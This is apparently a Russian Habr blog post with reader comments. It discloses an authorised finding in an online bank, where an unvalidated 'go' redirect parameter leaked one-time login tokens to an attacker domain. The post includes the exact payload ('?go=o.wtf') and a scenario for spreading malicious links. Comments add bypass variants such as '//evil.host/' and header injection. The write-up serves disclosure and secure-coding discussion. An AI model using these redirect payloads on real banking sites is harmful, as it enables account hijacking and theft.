Сегодня я расскажу вам историю об уязвимости, которая существовала в одном интернет-банке много лет. Её эксплуатация была настолько элементарной, а опасность была настолько не очевидна, что ни кто так и не обратил на неё внимание.

С этим банком у меня была договорённость о поиске уязвимостей и все мои действия были санкционированными. В тот вечер я уже потратил приличное время на поиск более-менее критичной уязвимости и так не найдя ничего стоящего, было уже отчаялся. Но тут мой взгляд зацепился за один параметр в череде запросов к серверу в момент авторизации. К слову, этот банк использовал передовую и очень надежную технологию авторизации, а именно двухфакторную авторизацию через смс. Так вот, параметр GET запроса, на который я обратил внимание, имел вид: go=/path/to/some/page и формировался на стороне сервера для дальнейшей переадресации. Но проблемой было то, что путь для переадресации был относительным и добавлялся к домену сайта и поэтому я игнорировал этот запрос в своих предыдущих исследованиях. К тому же, что бы в нем существовала потенциальная уязвимость, должен был иметь место ряд факторов, а именно:
1). возможность при помощи значения параметра go обеспечить переадресацию на сторонний домен
2). возможность на клиенте задавать значение этого параметра
3). и наконец, после авторизации при редиректе на сторонний домен должна передаться какая нибудь ценная информация

В итоге, с малой надеждой на какой либо результат, я начал искать пути эксплуатации потенциальной уязвимости.

Немного поразмыслив, я нашел решение первой из трёх вышеперечисленных задач. Предлагаю читателю тоже подумать над этой задачкой. У нас есть, на первый взгляд, относительный путь /path/to/some/page, который добавляется к домену сайта https://internet-bank.com и в итоге получается адрес https://internet-bank.com/path/to/some/page. Как нам сформировать урл со сторонним доменом? Кто догадался, может поставить себе плюсик за сообразительность. Кто хочет узнать ответ, читает дальше. Так вот, если мы вместо /path/to/some/page добавим .some.domain.com, то получится ссылка для переадресации вида https://internet-bank.com.some.domain.com

Таким образом, первый пункт из трёх перечисленных выше выполнен, мы сформировали имя стороннего домена, на который есть потенциальная возможность перенаправить пользователя. Осталось ещё 2 пункта.

Для выполнения пункта 2 я попробовал авторизоваться в интернет-банк не с адреса https://internet-bank.com, а с https://internet-bank.com?go=/path/to/some/page. И о чудо, сервер произвел двухфакторную авторизацию и в итоге перенаправил меня сперва на адрес https://internet-bank.com/path/to/some/page/?token=37C853F2CA868D819BD9514C3CCEB, а потом на https://internet-bank.com/path/to/some/page. Мне осталось разлогиниться и авторизовать с адреса
https://internet-bank.com?go=.some.domain.com. Сделав это, меня перекинуло на адрес https://internet-bank.com.some.domain.com?token=37C853F2CA868D819BD9514C3CCEB, таким образом пункт 3 выполнился автоматически. Зачем данный токен использовался в редиректах при авторизации, я так и не понял, но в итоге я имел возможность по ссылке https://internet-bank.com?token=37C853F2CA868D819BD9514C3CCEB авторизоваться с любого компьютера без ввода логина, пароля и смс.

Mission completed.

А что дальше? А дальше регистрируем домен второго уровня, например como.wtf, распространяем в Интернете ссылку https://internet-bank.com?go=o.wtf и получаем доступ к чужим аккаунтам в интернет-банке благодаря пересылке авторизационных токенов на https://internet-bank.como.wtf

В итоге получается, что для того, что бы иметь возможность угнать чужой аккаунт, нам достаточно добавить к совершенно безопасному адресу сайта интернет-банка всего 9 символов зловредного кода: "?go=o.wtf"

А для себя я сделал следующий вывод: если есть хоть малейшая вероятность существования потенциальной уязвимости, её нужно устранять.

Комментарии (24)


  1. yjurfdw
    20.07.2015 12:59
    +7

    Всегда надеялся, что в таких системах токен привязан к IP, например, чтобы в случае перехвата токена сложнее было им воспользоваться.


    1. dinikin Автор
      20.07.2015 13:09
      +6

      Как оказалось, привязки не было ни какой. Единственное, что было, так это то, что токен одноразовый. Но это ни как не спасало.


    1. Chikey
      20.07.2015 17:54

      Весьма бесполезно, IP меняются — может и юзеру создать неудобства.


      1. Dinir102
        20.07.2015 18:47

        Вовсе нет. Как пишет автор, токен одноразовый, так что он будет использоваться единовременно при авторизации.

        Авторизация, как опять же пишет автор, здесь двухфакторная. Для защиты по IP нам надо будет на первом этапе записать IP пользователя, а на втором проверять.

        Всё это будет длиться секунд 20. Максимум 3-5 минут, если смс задержалась. Маловероятно, что ваш IP сменится за столь короткий промежуток времени.


        1. Chikey
          20.07.2015 19:27

          Ну хм может пригодиться но лучше кодить сразу с правильной валидацией редиректа, тогда вариантов потерять токен по пути значительно меньше.


        1. arabesc
          21.07.2015 19:35

          Маловероятно, что ваш IP сменится за столь короткий промежуток времени.
          Юзер может быть за шлюзом с балансировкой нагрузки на разные каналы. И это необязательно что-то особенное, у меня одно время был домашний роутер с ADSL и ethernet линками одновременно.
          Юзер можеть выходить в Сеть через мобильный и-нет и скакать между базовыми станциями, непредсказуемо меняя свой внешний IP.
          Юзер может сидеть через Tor.


    1. DarkByte
      21.07.2015 12:03

      Даже, если токен будет привязан к IP, то получивший его сервер internet-bank.como.wtf может отдать пользователю javascript, который выполнит необходимые действия от токена и с IP пользователя. Такому сценарию может помешать CSRF-токен, но и его реализация не всегда идеальна.


  1. TimsTims
    20.07.2015 14:28
    +1

    Пять баллов!


  1. an24
    20.07.2015 15:56
    +2

    Кошмар! Разве можно токен отдавать?


    1. forgotten
      21.07.2015 09:22
      +6

      Да кто читает эти RFC, хосспадя.


  1. kyrie
    20.07.2015 16:01
    +1

    Очень круто!


  1. extempl
    20.07.2015 16:23

    что ни кто так и не обратил на неё внимание.

    Так и не обратил — в смысле баг не пофиксили до сих пор?


    1. dinikin Автор
      20.07.2015 16:25

      Пофиксили после того, как я его зарепортил


      1. zollotov
        21.07.2015 02:15

        Вознаграждение хоть в итоге получили ?! Баг то серьёзный на самом то деле!


        1. dinikin Автор
          21.07.2015 09:29
          +1

          В процессе выплаты


  1. vkachalov
    20.07.2015 17:21
    +5

    Как нам сформировать урл со сторонним доменом? Кто догадался, может поставить себе плюсик за сообразительность

    Думаю, многие, как и я, подумали о собаке @
    Но ваш вариант с поддоменом, особенно с вхождением в него зоны домена банка, действительно позволяет замаскировать урл под благонадежный.


    1. mayorovp
      20.07.2015 20:20

      Еще вариант — если на сайте есть скрипт внешнего редиректа, то можно использовать его.


      1. HoverHell
        21.07.2015 12:38

        Да, тоже об этом подумал.

        А что касается редиректа – неужто обязательно самостоятельно конкатенировать эти строки? Вроде как если отдавать 302 то можно сразу скормить относительный путь как есть, и конкатенацией с учётом вопросов безопасности будет заниматься браузер.

        Ну или воспользоваться готовым кодом, в конце концов. Хотя при этом есть столько же шансов добавить дыр сколько убавить их.


        1. BlackFan
          21.07.2015 13:31
          +1

          При относительном пути можно было бы воспользоваться ссылкой без указания uri-схемы ?go=//evil.host/
          https://tools.ietf.org/html/rfc3986#section-4.2


        1. grossws
          21.07.2015 13:46
          +1

          А по какому RFC допускаются относительные пути в Location при 301/302?


        1. mayorovp
          21.07.2015 17:03
          +1

          Да, можно передать все как есть в Location…
          … и получить возможность указания злоумышленником произвольных заголовков ответа путем передачи символа перевода строки в url-параметре :)


          1. HoverHell
            21.07.2015 17:17

            Прямолинейную онкатенацию пользовательских данных в ответ тем более не стоит делать; для этого и нужны готовые функции и библиотеки.


  1. Chikey
    20.07.2015 17:56
    +6

    Прикольно, ключевой баг в том что банк вообще не валидировал параметр «go». Там наверно и header injection можно было откопать.
    С Гитхабом очень похожая история была, тоже угон токена и последующий вход (http://habrahabr.ru/post/211845/)


  1. Angelina_Joulie
    21.07.2015 13:20
    +2

    Раньше писать про то, как складывать пути на дисках.
    Для .NET на все собеседования выносили вопросы ответом на которые должны были стать варианции по применению System.IO.Path.Combine(...)

    Теперь, имеем полноценного приемника System.Uri

        class Program
        {
            static void Main(string[] args)
            {
                var domain = new Uri("https://internet-banking.com", UriKind.Absolute);
                var path = ".subdomain.tw";
    
                var uri = new Uri(domain, path);
    
                Console.WriteLine(uri);
            }
        }
    


    И на выходе будет то, что нужно:
    https://internet-banking.com/.subdomain.tw
    


    P.S. Но Uri не самый простой инструмент, там есть свои особенности.